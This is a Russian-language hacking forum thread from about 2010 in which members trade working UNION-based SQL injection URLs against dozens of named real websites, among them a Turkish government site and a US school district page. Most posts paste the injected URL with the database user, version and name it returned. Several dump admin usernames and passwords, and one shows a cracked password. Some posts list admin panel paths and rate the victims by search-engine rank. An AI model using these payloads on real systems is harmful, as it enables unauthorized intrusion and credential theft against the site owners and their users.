SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    Продолжим тему туризма
    вывел все таблы но пользователей и админа не нашол :mad:

    Code:
    http://www.yeniatilim.com/yurtici-tur.php?git=listele&id=-46+union+select+1,2,3,4,5,6,7,user(),DATABASE(),VERSION(),11,12,13,14,15,16,17,18,19+--+
    atilim_atilim@localhost
    atilim_db
    5.0.91-community-log
     
  2. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    кидаю еще одну раскуренную скуль (Конки- не ругайся :D ) Что то там с африкой связанно- суданский чтоли сайт,

    Code:
    http://www.sudanvotes.com/topics/index-ar.php?id=7+and+1=0+union+select+1,2,3,concat_ws%280x3a,username,password%29,5+from+admins+--+
     
  3. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.kartalram.gov.tr

    http://www.kartalram.gov.tr/?p=galeri&id=-12+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()--

    калонка 3 - href картинки
     
    _________________________
  4. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    http://www.columbuscomets.com/player.php?id=-52+union+select
    Code:
    +1,2,3,4,5,6,7,8,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),10,11,12,13--
    хокей,что то там.

    Code:
    http://www.extrapost.com/videos/player.php?id=-35727+union+select+1,COLUMN_NAME,3,4,5,6+from+INFORMATION_SCHEMA.COLUMNS--&from=c
    гнуха :rolleyes:
     
    #12724 Lilo, 21 Aug 2010
    Last edited: 21 Aug 2010
    2 people like this.
  5. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.hotelvillazurich.com/index.phtml?id=-4000+union+select+1,2,3,4,5,6,7,8,9
    http://www.ezosunalcocukatolyesi.com/index.phtml?id=-20000+union+select+1,2,version(),4,5,6,7,8,9
    http://www.cografyasaati.com/index.phtml?id=-140000+union+select+1,version(),3,4,5--
    http://www.artima.com.tr/index.phtml?dil=1&id=-40+union+select+1,2,version(),4,5,6,7&gid=3&rid=638
    http://www.digicag.com.tr/index.phtml?id=-214000+union+select+1,version(),3,4,5
     
    _________________________
    1 person likes this.
  6. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    Code:
    http://www.saucony.kiev.ua/sport.php?id=-6+union+select+1,2,TABLE_NAME,4,5,6,7,8,9++from+INFORMATION_SCHEMA.TABLES--
     
    2 people like this.
  7. moodoone

    moodoone Member

    Joined:
    21 Oct 2009
    Messages:
    144
    Likes Received:
    38
    Reputations:
    5
    Code:
    http://results.orienteeringsport.com/participant.php?id=-1559+union+select+1,2,version()--
    Code:
    http://www.networkandgetwork.com/participant.php?id=-97+UnIon+selECt+1,2,database(),user(),version(),6,7,8,9,10,11,12,13,14,15--
    Code:
    http://equal.ccbcnes.org/content/participant.php?id=-2+UnIon+selECt+1,2,3,4,5,6,7,8,9,10,11,12+--+
    Code:
    http://www.firagirona.com/participant.php?id=118&cl=-100005+UnIon+selECt+1,2,3,4,5,6,7,8,version(),10,11,12--
    Code:
    http://www.elysee.ru/showimg.php?id=-245+UnIon+selECt+1,2,3,4,5,6,7,8,9,group_concat(table_name)+from+information_schema.tables--+
    Code:
    http://www.8op10.be/showimg.php?id=-68+UnIon+selECt+1,2,3,4,5+--+
    Code:
    http://www.pikipoika.ru/news.php?action=news&id=-14+union+select+1,2,3,table_name,5,6+from+information_schema.tables+limit+1,1--
    Code:
    http://avtoram.com/index.php?action=news&id=-1+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4--
    Code:
    http://www.posttypography.com/site/index.php?action=news&id=-796+union+select+1,2,concat(version(),0x3a,user(),0x3a,database()),4--
     
    #12727 moodoone, 21 Aug 2010
    Last edited: 21 Aug 2010
    3 people like this.
  8. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87

    PR 7 ТИЦ 10


    PR 6 ТИЦ 10

    PR 8 ТИЦ 50


    PR 4 ТИЦ 20


    PR 5 ТИЦ 10


    PR 6
     
    #12728 -PRIVAT-, 21 Aug 2010
    Last edited: 21 Aug 2010
    2 people like this.
  9. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    Code:
    http://ufa.prepod.org/vote.php?id=-3468+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14 ,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,3 1,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47, 48,49.50,51,52,53,54,55,56,57,58,59,60,61,62,63,64 ,65,66,67,68,69,70,71,71,72,73,74,75,76,77,78,79,8 0--
    ТИЦ-20
    сайт о преподах=)
     
    2 people like this.
  10. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    ТИЦ 10 PR 1
    _http://www.domoteka.org/lot_kv.php?vid=kv1&id=111+union+select+1,2,3,4,5,6,7,8,9,0,11,version(),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,concat_ws(0x3a,name,pass)+from+users--
     
    _________________________
  11. moodoone

    moodoone Member

    Joined:
    21 Oct 2009
    Messages:
    144
    Likes Received:
    38
    Reputations:
    5
    Code:
    http://www.ultratune.com.au/compview.php?id=-666+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
    http://www.ultratune.com.au/admin/admin.php
     
    #12731 moodoone, 21 Aug 2010
    Last edited: 21 Aug 2010
    1 person likes this.
  12. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    http://archee.qc.ca/ar.php?page=article&no=-344+union+select+1,2,3,4,5,6,7,8,9,user(),11,12,13,14,15,16,version(),database(),19,20,21,22,23,24,25,26,27,28,29,30,31,32,33+--+



    http://www.quieromiautoya.com.ar/php/subweb/index.php?id=4+and+1=0+union+select+1,2+--+


    http://www.burrowsluongo.com/type.php?id=-11+union+select+1,user()+--+


    http://www.recipe.ru/docs/nd/type.php?id=-6+union+select+1,user()+--+
     
    #12732 Kusto, 21 Aug 2010
    Last edited: 21 Aug 2010
    1 person likes this.
  13. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    теперь по теме туров, кидаю раскуренную скуль, здесь специально вывел 3-его юзера чтоб вы оценили юмор админа :D

    Code:
    http://www.rtk-ust.ru/type.php?id=-6+union+select+concat_ws(0x3a,user,pass),2,3,4+from+users+LIMIT+2,1%20+--+
    результат faster:заебись пароль

    переведите в кодировку UTF-8 оцените весь юмор админов :D :D :D

    а вот так можно и не переводить

    http://www.rtk-ust.ru/type.php?id=-6+union+select+concat_ws(0x3a,user,pass),2,3,4+from+users+LIMIT+3,2%20+--+
     
    #12733 Kusto, 21 Aug 2010
    Last edited: 21 Aug 2010
    1 person likes this.
  14. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    Code:
    http://www.saucony.kiev.ua/sport.php?id=-6+union+select+1,2,TABLE_NAME,4,5,6,7,8,9++from+INFORMATION_SCHEMA.TABLES--
    Code:
    http://www.starswelove.com/scriptsphp/news.php?newsid=-6431+union+select+1,group_concat%28table_name%29,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7+from+information_schema.tables%20-
    Code:
    http://www.combineport.hut2.ru/nasm/mod.php?id=-1+union+select+concat_ws(0x3a,version(),database(),user(),@@version_compile_os)%20%20,2--
    Code:
    http://driverb.ru/mod.php?id=-1735+union+select+1,2,3,concat_ws(0x3a,version(),database(),user(),@@version_compile_os)--
    Code:
    http://www.mksm-kmz.ru/catalog/menu.php?id=-11+union+select+null,null,null,null,null,null,null,null--
    Code:
    http://www.biletda.ru/best.php?id=-188+union+select+1,2,3,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),5,6,7,8,9,10,11,12,13,14,15-
    Code:
    http://www.teatrum.ru/best.php?id=-102+union+select+1,2,3,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),5,6,7,8,9,10,11,12,13--
    Code:
    http://www.unlocknews.eu/box.php?id=-78+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user(),@@version_compile_os)%20%20,7,8--
    Code:
    http://www.set-radio.ru/radio.php?id=1+union+select+1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4,5,6,7--
    Code:
    http://www.mrcmodelisme.com/fiche_radio.php?id=-23+union+select+1,version(),3--
    Code:
    http://www.mobile.[B]tomsk.ru[/B]/phone.php?id=-37+union+select+1,2,3,%20%20concat_ws(0x3a,version(),database(),user(),@@version_compile_os),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--
    Code:
    http://reales.tonosgratis.com.mx/descarga-tono-real.php?id=-8+union+select+1,2,version()--
    Code:
    http://www.termoklimat.ru/news.php?id=-377+union+select+1,2,3,version(),5,6+--+

    Code:
    http://www.artgamma.ru/news.php?id=-45+union+select+1,2,3,4,5,6,7,8,9,10,12,13,14,15,16--++
    :eek:
     
    1 person likes this.
  15. *uNkN0Wn*

    *uNkN0Wn* Member

    Joined:
    25 Mar 2009
    Messages:
    175
    Likes Received:
    92
    Reputations:
    11
    PR - 5
     
    1 person likes this.
  16. so_newbie

    so_newbie Member

    Joined:
    6 Jul 2010
    Messages:
    33
    Likes Received:
    14
    Reputations:
    9
    Code:
    http://meteoinfo.by/news/?page=-23618+union+select+1,concat_ws(char(58),version(),user(),database(),@@version_compile_os),3,4,5,6--+
    
    Version: 5.0.27-log
    User: guest@localhost
    Database: www
    Os: redhat-linux-gnu

    PR - 4
    тИЦ - 100
     
  17. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.velotaxi.de/php/main.php?id=\'1&lang=\'en
    [email protected]:5.0.32-Debian_7etch12-log:velotaxidb
    тИЦ 10
    PR 4


    Code:
    http://equineexplorer.com/sport.php?id=42+union+select+user()--+
    остальное не стал выводить :eek:
    equine_equ1n3u@localhost:4.1.20-standard-log:equine_equ1n3db
    PR 3


    Code:
    http://wch.pasco.k12.fl.us/sport.php?id=-11+UnIon+selECt+1,2,CONCAT_WS(0x3a,USER(),VERSION(),DATABASE()),4,5,6,7,8,9,10,11,12,13,14+--+
    webuser@localhost:5.1.44-community:web
    PR 3
     
    3 people like this.
  18. Koren

    Koren Member

    Joined:
    11 Jul 2009
    Messages:
    66
    Likes Received:
    20
    Reputations:
    1
    shop

     
    1 person likes this.
  19. *uNkN0Wn*

    *uNkN0Wn* Member

    Joined:
    25 Mar 2009
    Messages:
    175
    Likes Received:
    92
    Reputations:
    11
    PR - 5
    user() tdevils@localhost
    version() 5.0.45
    database() tdevils_db


    PR - 5

    user() easypeasy@localhost
    version() 5.0.51a-3ubuntu5.4
    database() easypeasy


    PR - 3
    user() umracing@localhost
    version() 5.0.27-log
    database() williamoravetz_umracing


    http://www.umracing.com/admin
     
  20. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    Code:
    http://www.black-stones.ru/restoran.php?ID=-4+union+select+1,2,3,version(),5,6,7,8--
    ТИЦ10
     
    1 person likes this.
Thread Status:
Not open for further replies.